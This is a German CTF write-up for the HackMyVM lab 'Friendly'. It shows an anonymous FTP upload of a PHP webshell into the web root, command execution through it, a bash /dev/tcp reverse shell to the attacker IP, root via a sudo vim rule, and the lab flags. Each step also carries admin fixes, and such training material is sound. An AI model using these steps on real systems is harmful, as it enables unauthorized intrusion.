Friendly - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

nmap
echo
vi / Editor
mv
lftp
Web Browser / curl
cat
grep
nc (netcat)
which
python3
stty
cd
ls
sudo
vim
find
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein Nmap-Scan wird auf die Ziel-IP `192.168.2.117` durchgeführt. Optionen: `-sS` (SYN Scan), `-sC` (Default Scripts), `-sV` (Version Detection), `-T5` (Insane Timing), `-AO` (OS Detection), `-p-` (Alle Ports).

Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 21/tcp:** FTP (ProFTPD). **Kritisch:** Anonymer Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Im Root-Verzeichnis des FTP-Servers liegt eine `index.html`-Datei. * **Port 80/tcp:** HTTP (Apache httpd 2.4.54 Debian). Eine aktuelle Apache-Version mit der Standardseite. Die OS-Erkennung deutet auf Linux hin, und die MAC-Adresse bestätigt eine VirtualBox-VM. Der Hostname `freund.hmv` wird ebenfalls ermittelt.

Empfehlung (Pentester): Der anonyme FTP-Zugang ist der vielversprechendste Angriffsvektor. Untersuchen Sie die FTP-Berechtigungen (insbesondere Upload). Prüfen Sie, ob das FTP-Root-Verzeichnis dem Web-Root-Verzeichnis (`/var/www/html`) entspricht oder darauf abgebildet ist.
Empfehlung (Admin): **Höchste Priorität:** Deaktivieren Sie den anonymen FTP-Zugang oder schränken Sie ihn stark ein (kein Schreibzugriff, chroot-Umgebung). Stellen Sie sicher, dass FTP-Verzeichnisse nicht über HTTP zugänglich sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.117 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 23:32 CEST
Nmap scan report for freund.hmv (192.168.2.117)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:A2:9F:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms freund.hmv (192.168.2.117)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds
                    

Enumeration & File Upload (FTP)

Analyse: Eine einfache PHP-Webshell (``) wird lokal vorbereitet (`echo`, `vi`, `mv`). Die `/etc/hosts`-Datei wird angepasst, um `freund.hmv` auf die IP `192.168.2.117` zu mappen. Mittels `lftp` wird eine anonyme Verbindung zum FTP-Server aufgebaut. Es wird versucht, Verzeichnisse zu wechseln (`cd ..`, `cd /home`), was fehlschlägt. Anschließend werden die vorbereitete `test.txt` und die Webshell `test.php` erfolgreich in das FTP-Root-Verzeichnis hochgeladen.

Bewertung: Der anonyme FTP-Login funktioniert und erlaubt **Datei-Uploads** in das Wurzelverzeichnis des FTP-Servers. Da im Wurzelverzeichnis bereits eine `index.html` liegt (die vermutlich auch über HTTP auf Port 80 erreichbar ist), ist es sehr wahrscheinlich, dass das FTP-Root-Verzeichnis dem Web-Root (`/var/www/html`) entspricht. Das Hochladen einer PHP-Datei in dieses Verzeichnis ermöglicht Remote Code Execution (RCE), wenn die Datei über HTTP aufgerufen wird.

Empfehlung (Pentester): Rufen Sie die hochgeladene PHP-Datei (`test.php`) über den Webbrowser oder `curl` auf (`http://freund.hmv/test.php`). Hängen Sie den `cmd`-Parameter an, um Befehle auszuführen (z.B. `?cmd=id`). Nutzen Sie dies, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): **Kritische Fehlkonfiguration!** Deaktivieren Sie den anonymen FTP-Upload sofort. Stellen Sie sicher, dass das FTP-Verzeichnis nicht das Web-Root-Verzeichnis ist oder anderweitig über HTTP erreichbar ist. Konfigurieren Sie ProFTPD und Apache sicher.

┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# echo "test" > test.txt
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# vi test.txt
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# mv test.txt test.php
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber

#192.168.2.107   whythisapiissofast.kitty.hmv kitty.hmv fake.local jwt.hmv
192.168.2.117    freund.hmv # Eintrag hinzugefügt/korrigiert

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                      
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# lftp -u 'anonymous', 192.168.2.117
lftp anonymous@192.168.2.117:~> ls
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
lftp anonymous@192.168.2.117:/> cd ..
lftp anonymous@192.168.2.117:/> ls
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
lftp anonymous@192.168.2.117:/> pwd
ftp://anonymous:@192.168.2.117/
lftp anonymous@192.168.2.117:/> cd /home
cd: Zugriff nicht möglich:550 /home: No such file or directory
lftp anonymous@192.168.2.117:/> put test.txt
5 Bytes übertragen
lftp anonymous@192.168.2.117:/> ls
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
-rw-r--r--   1 ftp      nogroup         5 Apr  4 21:42 test.txt
                      
lftp anonymous@192.168.2.117:/> put test.php
31 Bytes übertragen
lftp anonymous@192.168.2.117:/> ls
-rw-r--r--   1 root     root        10725 Feb 23 15:26 index.html
-rw-r--r--   1 ftp      nogroup        31 Apr  4 21:43 test.php
-rw-r--r--   1 ftp      nogroup         5 Apr  4 21:42 test.txt
                      
lftp anonymous@192.168.2.117:/> quit

Initial Access (RCE via Web Shell)

Analyse: Die hochgeladene Webshell `test.php` wird über HTTP aufgerufen. Zuerst wird der Befehl `id` ausgeführt, dann `cat /etc/passwd` und `cat /etc/passwd | grep bash`, um Informationen über den Benutzer (`www-data`) und andere Benutzer auf dem System (`RiJaba1`) zu sammeln.

Bewertung: Die RCE funktioniert wie erwartet. Die Befehle werden als Benutzer `www-data` ausgeführt. Die Analyse von `/etc/passwd` enthüllt einen regulären Benutzer namens `RiJaba1`.

Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zum Angreifer-System aufzubauen. Dies ermöglicht eine interaktive Sitzung als `www-data`.
Empfehlung (Admin): Entfernen Sie die hochgeladene Datei `test.php`. Beheben Sie die anonyme FTP-Upload-Schwachstelle.

# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=id
# Ergebnis:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=cat%20/etc/passwd
# Ergebnis:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
proftpd:x:105:65534:/run/proftpd:/usr/sbin/nologin
ftp:x:106:65534:/srv/ftp:/usr/sbin/nologin
RiJaba1:x:1000:1000:/home/RiJaba1:/bin/bash
                      
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=cat%20/etc/passwd%20%7C%20grep%20bash
# Ergebnis:
root:x:0:0:root:/root:/bin/bash
RiJaba1:x:1000:1000:/home/RiJaba1:/bin/bash
                       

Analyse: Eine Reverse Shell wird mittels `nc` und einer Bash-Payload aufgebaut. 1. Ein Listener wird auf dem Angreifer-System gestartet: `nc -lvnp 9001`. 2. Die Webshell wird mit einer URL-kodierten Bash-Reverse-Shell-Payload aufgerufen: `http://freund.hmv/test.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.114%2F9001%200%3E%261%27`. 3. Der Listener empfängt die Verbindung und eine Shell als `www-data` wird erhalten. 4. Die Shell wird mit `python3`, `export TERM` und `stty raw -echo; fg` stabilisiert.

Bewertung: Der Aufbau der Reverse Shell und die Stabilisierung sind erfolgreich. Der Pentester hat nun eine stabile, interaktive Shell als `www-data`. Initialer Zugriff erreicht.

Empfehlung (Pentester): Führen Sie lokale Enumeration als `www-data` durch. Suchen Sie nach der User-Flag (wahrscheinlich im Home-Verzeichnis von `RiJaba1`) und nach Wegen zur Rechteausweitung (z.B. `sudo -l`, SUID-Binaries).

┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Aufruf im Browser oder mit curl:
http://freund.hmv/test.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.114%2F9001%200%3E%261%27
                      
connect to [192.168.2.114] from (UNKNOWN) [192.168.2.117] 56220
bash: cannot set terminal process group (444): Inappropriate ioctl for device
bash: no job control in this shell
www-data@friendly:/var/www/html$
www-data@friendly:/var/www/html$ which python3
/usr/bin/python3
www-data@friendly:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@friendly:/var/www/html$ export TERM=xterm
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# ^Z zsh: suspended nc -lvnp 9001
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                       
www-data@friendly:/var/www/html$ reset
www-data@friendly:/var/www/html$

Privilege Escalation (www-data -> root via Sudo Vim)

Analyse: Als `www-data` wird das Home-Verzeichnis des Benutzers `RiJaba1` untersucht und die User-Flag gelesen. Anschließend werden die `sudo`-Rechte für `www-data` überprüft.

Bewertung: * Die User-Flag `b8cff8c9008e1c98a1f2937b4475acd6` wird erfolgreich aus `/home/RiJaba1/user.txt` gelesen. `www-data` hat Leserechte auf diese Datei. * `sudo -l` enthüllt die **kritische Schwachstelle:** `User www-data may run the following commands on friendly: (ALL : ALL) NOPASSWD: /usr/bin/vim`. Der Webserver-Benutzer darf `vim` als jeder Benutzer (insbesondere `root`) ohne Passwort ausführen.

Empfehlung (Pentester): Nutzen Sie die `sudo vim`-Berechtigung zur sofortigen Root-Eskalation. Führen Sie `sudo vim` aus und geben Sie im Editor `:!/bin/sh` ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): **Höchste Priorität:** Entfernen Sie sofort die `sudo`-Regel für `vim`. Der Webserver-Benutzer (`www-data`) sollte niemals `sudo`-Rechte haben, schon gar nicht für einen Editor und ohne Passwort. Überprüfen Sie alle `sudo`-Regeln auf dem System.

www-data@friendly:/var/www$ cd /home/
www-data@friendly:/home$ ls
RiJaba1
www-data@friendly:/home$ cd RiJaba1/
www-data@friendly:/home/RiJaba1$ ls
CTF  Private  YouTube  user.txt
www-data@friendly:/home/RiJaba1$ cat user.txt
b8cff8c9008e1c98a1f2937b4475acd6
www-data@friendly:/home/RiJaba1$ sudo -l
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim
                       

Proof of Concept (Sudo Vim Exploit)

Kurzbeschreibung: Dieser Proof of Concept demonstriert die Ausnutzung einer unsicheren `sudo`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/vim` als `root` ohne Passwort auszuführen. Da `vim` die Ausführung externer Befehle ermöglicht, kann dies direkt zur Erlangung einer Root-Shell missbraucht werden.

Voraussetzungen: * Zugriff als Benutzer `www-data`. * Die `sudo`-Regel `(ALL : ALL) NOPASSWD: /usr/bin/vim` muss aktiv sein.

Schritte zur Ausnutzung: 1. **Vim als Root starten:** Der Befehl `sudo -u root vim` wird ausgeführt. Da `NOPASSWD` gesetzt ist, erfolgt keine Passwortabfrage. `vim` startet mit Root-Rechten. 2. **Shell-Befehl aus Vim ausführen:** Innerhalb von `vim` wird der Befehl `:!/bin/sh` eingegeben und mit Enter bestätigt. Das `:!` führt einen externen Shell-Befehl aus. 3. **Root-Shell erhalten:** `/bin/sh` wird gestartet. Da `vim` als `root` lief, erbt die gestartete Shell die Root-Privilegien. 4. **Bestätigung:** Der Befehl `id` wird in der neuen Shell ausgeführt und bestätigt `uid=0(root)`.

Bewertung: Der Exploit ist trivial und erfolgreich. Die unsichere `sudo`-Regel ermöglicht die sofortige Eskalation zu Root. Fantastisch, Root-Zugriff erlangt!

Empfehlung (Pentester): Root-Zugriff erreicht. Suchen Sie nach der Root-Flag.
Empfehlung (Admin): **Höchste Priorität:** Entfernen Sie die unsichere `sudo`-Regel für `vim` sofort. Überprüfen Sie alle `sudo`-Konfigurationen gründlich.

Risikobewertung: Die Kombination aus einer unsicheren FTP-Konfiguration (anonymer Upload ins Web-Root) und einer extrem gefährlichen `sudo`-Regel ermöglichte eine einfache Kompromittierung und Eskalation zum Root-Benutzer. Das Risiko ist **kritisch**.

www-data@friendly:/home/RiJaba1$ sudo -u root vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Nach Erhalt der Root-Shell wird versucht, die Root-Flag zu lesen. Zuerst in `/root/root.txt`, dann wird mit `find` nach allen Dateien namens `root.txt` gesucht.

Bewertung: Die Datei `/root/root.txt` enthält eine "Fake"-Flag. Der `find`-Befehl findet die echte Flag in `/var/log/apache2/root.txt`. Das Lesen dieser Datei mit `cat` enthüllt die Root-Flag: `66b5c58f3e83aff307441714d3e28d2f`.

Empfehlung (Pentester): Root-Flag gefunden. Test abgeschlossen.
Empfehlung (Admin): Platzieren Sie sensible Dateien wie Flags nicht an ungewöhnlichen Orten wie Log-Verzeichnissen. Schützen Sie die Root-Flag mit korrekten Berechtigungen (nur für Root lesbar) und am Standardort `/root/root.txt`.

# cat /root/root.txt
Not yet! Find root.txt.
# find / -name root.txt 2>/dev/null
/var/log/apache2/root.txt
/root/root.txt
                      
# cat /var/log/apache2/root.txt
66b5c58f3e83aff307441714d3e28d2f

Flags

Analyse: Die User-Flag wurde im Home-Verzeichnis von `RiJaba1` gefunden. Die Root-Flag wurde im Apache-Log-Verzeichnis gefunden, nachdem Root-Rechte erlangt wurden.

Bewertung: Beide Flags wurden erfolgreich extrahiert.

cat /home/RiJaba1/user.txt
b8cff8c9008e1c98a1f2937b4475acd6
cat /var/log/apache2/root.txt
66b5c58f3e83aff307441714d3e28d2f